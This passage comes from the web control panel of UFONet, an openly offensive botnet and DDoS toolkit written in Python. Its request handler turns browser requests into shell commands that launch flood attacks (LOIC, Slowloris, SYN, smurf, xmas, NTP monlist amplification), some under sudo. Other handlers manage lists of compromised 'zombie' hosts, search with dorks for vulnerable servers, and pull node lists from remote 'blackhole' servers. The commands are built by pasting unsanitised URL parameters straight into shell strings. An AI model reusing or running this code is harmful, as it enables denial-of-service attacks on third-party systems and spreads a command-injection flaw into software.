  2462. <table bgcolor="black" cellpadding="5" cellspacing="10" border="0"><tr>
  2463. <td>
  2464. </td><td>
  2465. <table border="1" cellpadding="5" cellspacing="10">
  2466. <tr>
  2467. <td align="center"><b><u>TOTAL_ON_GRID:</u></b></td><td align="center"><b><u>"""+str(self.ranking_grid_total)+"""</u></b></td></tr>
  2468. <tr>
  2469. <td align="center"><font color='orange'>Unknown</font></td><td align='center'><font color='orange'>"""+str(self.ranking_grid_unknown)+"""</font></td></tr>
  2470. <tr>
  2471. <td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>"""+str(self.ranking_grid_rookie)+"""</font></td></tr>
  2472. <tr>
  2473. <td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>"""+str(self.ranking_grid_mercenary)+"""</font></td></tr>
  2474. <tr>
  2475. <td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>"""+str(self.ranking_grid_bandit)+"""</font></td></tr>
  2476. <tr>
  2477. <td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>"""+str(self.ranking_grid_ufommander)+"""</font></td></tr>
  2478. <tr>
  2479. <td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'>"""+str(self.ranking_grid_ufoleet)+"""</font></td></tr>
  2480. </table>
  2481. </td><td>
  2482. <table border="1" cellpadding="5" cellspacing="10">
  2483. <tr>
  2484. <td><b><u>TOP_5_MOTHERSHIPS:</u></b></td></tr>
  2485. <tr>
  2486. <td align='center'>"""+str(self.ranking_top5_player1)+"""</td></tr>
  2487. <tr>
  2488. <td align='center'>"""+str(self.ranking_top5_player2)+"""</td></tr>
  2489. <tr>
  2490. <td align='center'>"""+str(self.ranking_top5_player3)+"""</td></tr>
  2491. <tr>
  2492. <td align='center'>"""+str(self.ranking_top5_player4)+"""</td></tr>
  2493. <tr>
  2494. <td align='center'>"""+str(self.ranking_top5_player5)+"""</td></tr>
  2495. </table>
  2496. </td><td>
  2497. <table border="1" cellpadding="5" cellspacing="10">
  2498. <tr>
  2499. <td><b><u>RANDOM_SIMILAR:</u></b></td></tr>
  2500. <tr>
  2501. <td align='center'>"""+str(self.ranking_similar_player1)+"""</td></tr>
  2502. <tr>
  2503. <td align='center'>"""+str(self.ranking_similar_player2)+"""</td></tr>
  2504. <tr>
  2505. <td align='center'>"""+str(self.ranking_similar_player3)+"""</td></tr>
  2506. </table>
  2507. </td><td>
  2508. <table border="1" cellpadding="5" cellspacing="10">
  2509. <tr>
  2510. <td><b><u>AI_SUGGESTION:</u></b></td></tr>
  2511. <tr>
  2512. <td align='center'>"""+str(self.ranking_top1_player1)+"""</td></tr>
  2513. </table>
  2514. </td>
  2515. </tr></table>
  2516. </center>
  2517. <hr>
  2518. """ + self.pages["/footer"]
  2519. self.pages["/lib.js"] = """function loadXMLDoc() {
  2520. var xmlhttp;
  2521. if (window.XMLHttpRequest) {
  2522. // code for IE7+, Firefox, Chrome, Opera, Safari
  2523. xmlhttp = new XMLHttpRequest();
  2524. } else {
  2525. // code for IE6, IE5
  2526. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  2527. }
  2528. xmlhttp.onreadystatechange = function() {
  2529. if (xmlhttp.readyState == 4 ) {
  2530. if(xmlhttp.status == 200){
  2531. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  2532. setTimeout("loadXMLDoc()", 3000);
  2533. }
  2534. }
  2535. }
  2536. xmlhttp.send();
  2537. }
  2538. function runCommandX(cmd,params) {
  2539. var xmlhttp;
  2540. if (window.XMLHttpRequest) {
  2541. // code for IE7+, Firefox, Chrome, Opera, Safari
  2542. xmlhttp = new XMLHttpRequest();
  2543. } else {
  2544. // code for IE6, IE5
  2545. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  2546. }
  2547. xmlhttp.onreadystatechange = function() {
  2548. if (xmlhttp.readyState == 4 ) {
  2549. if(xmlhttp.status == 200){
  2550. if(cmd.indexOf("?")!=-1){
  2551. s=cmd.split("?")
  2552. cmd=s[0]
  2553. params=s[1]
  2554. }
  2555. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  2556. //document.getElementById("cmdOut").scrollIntoView();
  2557. newcmd=cmd
  2558. if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"){ //do not refresh listing army
  2559. return;
  2560. } else {
  2561. if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  2562. //do not refresh if certain text on response is found
  2563. if(newcmd.match(/update/) &&
  2564. (
  2565. xmlhttp.responseText.match(/Generating random exit/) ||
  2566. xmlhttp.responseText.match(/Biggest File/) ||
  2567. xmlhttp.responseText.match(/Abduction finished/) ||
  2568. xmlhttp.responseText.match(/Not any zombie active/) ||
  2569. xmlhttp.responseText.match(/Target looks OFFLINE/) ||
  2570. xmlhttp.responseText.match(/Unable to connect to target/) ||
  2571. xmlhttp.responseText.match(/Something wrong/) ||
  2572. xmlhttp.responseText.match(/Target url not valid/) ||
  2573. xmlhttp.responseText.match(/updated/) ||
  2574. xmlhttp.responseText.match(/For HELP use:/) ||
  2575. xmlhttp.responseText.match(/Not any .git repository found/) ||
  2576. xmlhttp.responseText.match(/End of /) ||
  2577. xmlhttp.responseText.match(/Exiting /) ||
  2578. xmlhttp.responseText.match(/Bye/)
  2579. )
  2580. ) return;
  2581. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  2582. return;}
  2583. }
  2584. }
  2585. }
  2586. if(typeof params != "undefined") cmd=cmd+"?"+params
  2587. xmlhttp.open("GET", cmd, true);
  2588. xmlhttp.send();
  2589. }
  2590. """
  2591. self.pages["/requests"] = self.html_requests()
  2592. self.pages["/board_profile"] = self.html_board_profile()
  2593. self.pages["/grid_profile"] = self.html_grid_profile()
  2594. def buildGetParams(self, request):
  2595. params = {}
  2596. try:
  2597. path = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  2598. except:
  2599. path = re.findall("^GET ([^\s]+)", request)
  2600. if path:
  2601. path = path[0]
  2602. start = path.find("?")
  2603. if start != -1:
  2604. if path[start+1:start+7] == "zombie":
  2605. params['zombie']=path[start+8:]
  2606. return params
  2607. if path[start+1:start+7] == "target":
  2608. params['target']=path[start+8:]
  2609. return params
  2610. for param in path[start+1:].split("&"):
  2611. f = param.split("=")
  2612. if len(f) == 2:
  2613. var = f[0]
  2614. value = f[1]
  2615. value = value.replace("+", " ")
  2616. value = urllib.parse.unquote(value)
  2617. params[var] = value
  2618. return params
  2619. def save_profile(self,pGet):
  2620. # set values for profile configuration from html form to json file
  2621. if "profile_token" in list(pGet.keys()):
  2622. profile_token = pGet["profile_token"]
  2623. else:
  2624. profile_token = self.profile_token
  2625. if "profile_icon" in list(pGet.keys()):
  2626. profile_icon = pGet["profile_icon"]
  2627. else:
  2628. profile_icon = self.profile_icon
  2629. if "profile_nick" in list(pGet.keys()):
  2630. profile_nick = pGet["profile_nick"]
  2631. else:
  2632. profile_nick = self.profile_nick
  2633. # set new values on boardcfg json file
  2634. with open(self.mothership_boardcfg_file, "w") as f:
  2635. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  2636. def save_grid(self,pGet):
  2637. # set values for profile configuration from html form to json file
  2638. if "grid_token" in list(pGet.keys()):
  2639. grid_token = pGet["grid_token"]
  2640. else:
  2641. grid_token = self.grid_token
  2642. if "grid_contact" in list(pGet.keys()):
  2643. grid_contact = pGet["grid_contact"]
  2644. else:
  2645. grid_contact = self.grid_contact
  2646. if "grid_nick" in list(pGet.keys()):
  2647. grid_nick = pGet["grid_nick"]
  2648. else:
  2649. grid_nick = self.grid_nick
  2650. # set new values on gridcfg json file
  2651. with open(self.mothership_gridcfg_file, "w") as f:
  2652. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  2653. def save_cfg(self,pGet):
  2654. # set values for requests configuration from html form to json file
  2655. if "rproxy" in list(pGet.keys()):
  2656. frm_rproxy = pGet["rproxy"]
  2657. else:
  2658. frm_rproxy = self.rproxy
  2659. if "ruseragent" in list(pGet.keys()):
  2660. frm_ruseragent = pGet["ruseragent"]
  2661. else:
  2662. frm_ruseragent = self.ruseragent
  2663. if "rreferer" in list(pGet.keys()):
  2664. frm_rreferer = pGet["rreferer"]
  2665. else:
  2666. frm_rreferer = self.rreferer
  2667. if "rhost" in list(pGet.keys()):
  2668. frm_rhost = pGet["rhost"]
  2669. else:
  2670. frm_rhost = self.rhost
  2671. if "rxforw" in list(pGet.keys()):
  2672. frm_rxforw = pGet["rxforw"]
  2673. else:
  2674. if "update" in list(pGet.keys()):
  2675. frm_rxforw = ""
  2676. else:
  2677. frm_rxforw = self.rxforw
  2678. if "rxclient" in list(pGet.keys()):
  2679. frm_rxclient = pGet["rxclient"]
  2680. else:
  2681. if "update" in list(pGet.keys()):
  2682. frm_rxclient = ""
  2683. else:
  2684. frm_rxclient = self.rxclient
  2685. if "rtimeout" in list(pGet.keys()):
  2686. frm_rtimeout = pGet["rtimeout"]
  2687. else:
  2688. frm_rtimeout = self.rtimeout
  2689. if "rretries" in list(pGet.keys()):
  2690. frm_rretries = pGet["rretries"]
  2691. else:
  2692. frm_rretries = self.rretries
  2693. if "rdelay" in list(pGet.keys()):
  2694. frm_rdelay = pGet["rdelay"]
  2695. else:
  2696. frm_rdelay = self.rdelay
  2697. if "threads" in list(pGet.keys()):
  2698. frm_threads = pGet["threads"]
  2699. else:
  2700. frm_threads = self.threads
  2701. if "rssl" in list(pGet.keys()):
  2702. frm_rssl = pGet["rssl"]
  2703. else:
  2704. if "update" in list(pGet.keys()):
  2705. frm_rssl = ""
  2706. else:
  2707. frm_rssl = self.rssl
  2708. # set new values on webcfg json file
  2709. with open(self.mothership_webcfg_file, "w") as f:
  2710. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
  2711. def get(self, request):
  2712. # set request options of the user
  2713. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  2714. if self.rxforw == "on":
  2715. cmd_options = cmd_options + " --xforw"
  2716. if self.rxclient == "on":
  2717. cmd_options = cmd_options + " --xclient"
  2718. if self.rssl == "on":
  2719. cmd_options = cmd_options + " --force-ssl"
  2720. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  2721. runcmd = ""
  2722. try:
  2723. res = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  2724. except:
  2725. res = re.findall("^GET ([^\s]+)", request)
  2726. if res is None or len(res)==0:
  2727. return
  2728. pGet = {}
  2729. page = res[0]
  2730. paramStart = page.find("?")
  2731. if paramStart != -1:
  2732. page = page[:paramStart]
  2733. try:
  2734. pGet = self.buildGetParams(request.decode('utf-8'))
  2735. except:
  2736. pGet = self.buildGetParams(request)
  2737. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  2738. if os.path.exists("core/"+page[1:]):
  2739. try:
  2740. f=open("core/"+page[1:],'r',encoding="utf-8")
  2741. data = f.read()
  2742. self.pages[page]=data
  2743. except:
  2744. f=open("core/"+page[1:],'rb') # ajax map related
  2745. data = f.read()
  2746. self.pages[page]=data
  2747. elif page == "/js/ajax.js":
  2748. from .ajaxmap import AjaxMap
  2749. self.pages[page] = AjaxMap().ajax(pGet)
  2750. if page == "/cmd_check_tool":
  2751. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  2752. runcmd = "("+python_version+" -i ufonet --update |tee /tmp/out) &"
  2753. if page == "/cmd_check_tool_update":
  2754. if not os.path.exists('/tmp/out'):
  2755. open('/tmp/out', 'w').close()
  2756. with open('/tmp/out', 'r') as f:
  2757. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  2758. if page == "/cmd_list_army":
  2759. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2760. if page == "/cmd_list_zombies":
  2761. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  2762. if page == "/cmd_list_aliens":
  2763. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  2764. if page == "/cmd_list_droids":
  2765. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  2766. if page == "/cmd_list_ucavs":
  2767. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  2768. if page == "/cmd_list_rpcs":
  2769. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2770. if page == "/cmd_view_army":
  2771. if pGet=={}:
  2772. self.pages["/cmd_view_army"] = self.html_army_map()
  2773. if page == "/cmd_view_attack":
  2774. if 'target' in list(pGet.keys()) != None:
  2775. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  2776. if page == "/cmd_test_army":
  2777. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
  2778. runcmd = "("+python_version+" -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  2779. if page == "/cmd_test_all":
  2780. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  2781. runcmd = "("+python_version+" -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  2782. if page == "/cmd_test_offline":
  2783. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  2784. runcmd = "("+python_version+" -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  2785. if page == "/cmd_attack_me":
  2786. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  2787. runcmd = "("+python_version+" -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  2788. if page == "/cmd_attack_me_update":
  2789. if not os.path.exists('/tmp/out'):
  2790. open('/tmp/out', 'w').close()
  2791. with open('/tmp/out', 'r') as f:
  2792. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  2793. if page == "/cmd_download_community":
  2794. self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
  2795. runcmd = "("+python_version+" -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  2796. if page == "/cmd_download_community_update":
  2797. if not os.path.exists('/tmp/out'):
  2798. open('/tmp/out', 'w').close()
  2799. with open('/tmp/out', 'r') as f:
  2800. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  2801. if page == "/cmd_upload_community":
  2802. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  2803. runcmd = "("+python_version+" -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  2804. if page == "/cmd_upload_community_update":
  2805. if not os.path.exists('/tmp/out'):
  2806. open('/tmp/out', 'w').close()
  2807. with open('/tmp/out', 'r') as f:
  2808. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  2809. if page == "/cmd_test_army_update":
  2810. if not os.path.exists('/tmp/out'):
  2811. open('/tmp/out', 'w').close()
  2812. with open('/tmp/out', 'r') as f:
  2813. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  2814. if page == "/cmd_test_all_update":
  2815. if not os.path.exists('/tmp/out'):
  2816. open('/tmp/out', 'w').close()
  2817. with open('/tmp/out', 'r') as f:
  2818. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  2819. if page == "/cmd_test_offline_update":
  2820. if not os.path.exists('/tmp/out'):
  2821. open('/tmp/out', 'w').close()
  2822. with open('/tmp/out', 'r') as f:
  2823. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  2824. if page == "/cmd_test_rpcs":
  2825. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  2826. runcmd = "("+python_version+" -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  2827. if page == "/cmd_test_rpcs_update":
  2828. if not os.path.exists('/tmp/out'):
  2829. open('/tmp/out', 'w').close()
  2830. with open('/tmp/out', 'r') as f:
  2831. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  2832. if page == "/cmd_attack":
  2833. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  2834. cmd = ""
  2835. flag_ufosyn = None
  2836. flag_spray = None
  2837. flag_smurf = None
  2838. flag_xmas = None
  2839. flag_nuke = None
  2840. flag_tachyon = None
  2841. flag_monlist = None
  2842. nonroot_cmd = "("+python_version+" -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  2843. root_cmd = "(sudo "+python_version+" -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  2844. end_cmd = ""+cmd_options + "|tee /tmp/out) &"
  2845. if pGet["dbstress"]:
  2846. cmd += "--db '" +str(pGet["dbstress"])+ "' "
  2847. if pGet["loic"]:
  2848. cmd += "--loic '" +str(pGet["loic"])+ "' "
  2849. if pGet["loris"]:
  2850. cmd += "--loris '" +str(pGet["loris"])+ "' "
  2851. if pGet["ufosyn"]:
  2852. cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
  2853. flag_ufosyn = True
  2854. if pGet["spray"]:
  2855. cmd += "--spray '" +str(pGet["spray"])+ "' "
  2856. flag_spray = True
  2857. if pGet["smurf"]:
  2858. cmd += "--smurf '" +str(pGet["smurf"])+ "' "
  2859. flag_smurf = True
  2860. if pGet["xmas"]:
  2861. cmd += "--xmas '" +str(pGet["xmas"])+ "' "
  2862. flag_xmas = True
  2863. if pGet["nuke"]:
  2864. cmd += "--nuke '" +str(pGet["nuke"])+ "' "
  2865. flag_nuke = True
  2866. if pGet["tachyon"]:
  2867. cmd += "--tachyon '" +str(pGet["tachyon"])+ "' "
  2868. flag_tachyon = True
  2869. if pGet["monlist"]:
  2870. cmd += "--monlist '" +str(pGet["monlist"])+ "' "
  2871. flag_monlist = True
  2872. if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  2873. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  2874. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True:
  2875. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST)
  2876. runcmd = cmd + end_cmd
  2877. if page == "/cmd_attack_update":
  2878. if not os.path.exists('/tmp/out'):
  2879. open('/tmp/out', 'w').close()
  2880. with open('/tmp/out', 'r') as f:
  2881. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  2882. if page == "/cmd_inspect":
  2883. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  2884. target = pGet["target"]
  2885. target=urllib.parse.unquote(target)
  2886. runcmd = "("+python_version+" -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2887. if page == "/cmd_inspect_update":
  2888. if not os.path.exists('/tmp/out'):
  2889. open('/tmp/out', 'w').close()
  2890. with open('/tmp/out', 'r') as f:
  2891. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  2892. if page == "/cmd_abduction":
  2893. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  2894. target = pGet["target"]
  2895. target=urllib.parse.unquote(target)
  2896. runcmd = "("+python_version+" -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2897. if page == "/cmd_abduction_update":
  2898. if not os.path.exists('/tmp/out'):
  2899. open('/tmp/out', 'w').close()
  2900. with open('/tmp/out', 'r') as f:
  2901. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  2902. if page == "/cmd_search":
  2903. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  2904. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  2905. if pGet["all_engines"] == "on": # search using all search engines (and exclude those set by the user)
  2906. if pGet["exclude_engines"]:
  2907. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  2908. else:
  2909. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  2910. else: # search using a search engine
  2911. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2912. else: # search using a pattern
  2913. if pGet["autosearch"] == "on": # search using auto-search mod
  2914. if pGet["exclude_engines"]:
  2915. runcmd = "("+python_version+" -i ufonet --auto-search '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  2916. else:
  2917. runcmd = "("+python_version+" -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  2918. else:
  2919. if pGet["all_engines"] == "on": # search using all search engines
  2920. if pGet["exclude_engines"]:
  2921. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  2922. else:
  2923. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  2924. else: # search using a search engine
  2925. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2926. if page == "/cmd_search_update":
  2927. if not os.path.exists('/tmp/out'):
  2928. open('/tmp/out', 'w').close()
  2929. with open('/tmp/out', 'r') as f:
  2930. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  2931. if page == "/cmd_refresh_blackholes":
  2932. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2933. blackhole_ip = pGet["blackholes_source"]
  2934. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  2935. try:
  2936. blackholes = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read().decode('utf-8')
  2937. f = open(self.blackholes, "w") # write updates to nodes.dat
  2938. f.write(blackholes)
  2939. f.close()
  2940. self.blackholes_text = blackholes
  2941. except:
  2942. blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2943. end_mark = "\n[Info] [AI] End of blackholes list (nodes.dat). -> [Refreshing!]"
  2944. f = open("/tmp/out", "w")
  2945. f.write(str(blackholes))
  2946. f.write(end_mark)
  2947. f.close()
  2948. if page == "/cmd_refresh_blackholes_update":
  2949. if not os.path.exists('/tmp/out'):
  2950. open('/tmp/out', 'w').close()
  2951. with open('/tmp/out', 'r') as f:
  2952. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  2953. if page == "/cmd_refresh_news":
  2954. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2955. blackhole_ip = pGet["news_source"]
  2956. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  2957. try:
  2958. news = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read().decode('utf-8')
  2959. f = open(self.news, "w") # write updates to news.txt
  2960. f.write(news)
  2961. f.close()
  2962. self.news_text = news
  2963. except:
  2964. news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  2965. end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
  2966. f = open("/tmp/out", "w")
  2967. f.write(str(news))
  2968. f.write(end_mark)
  2969. f.close()
  2970. if page == "/cmd_refresh_news_update":
  2971. if not os.path.exists('/tmp/out'):
  2972. open('/tmp/out', 'w').close()
  2973. with open('/tmp/out', 'r') as f:
  2974. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  2975. if page == "/cmd_sync_wargames":
  2976. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2977. blackhole_ip = pGet["wargames_source"]
  2978. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  2979. try:
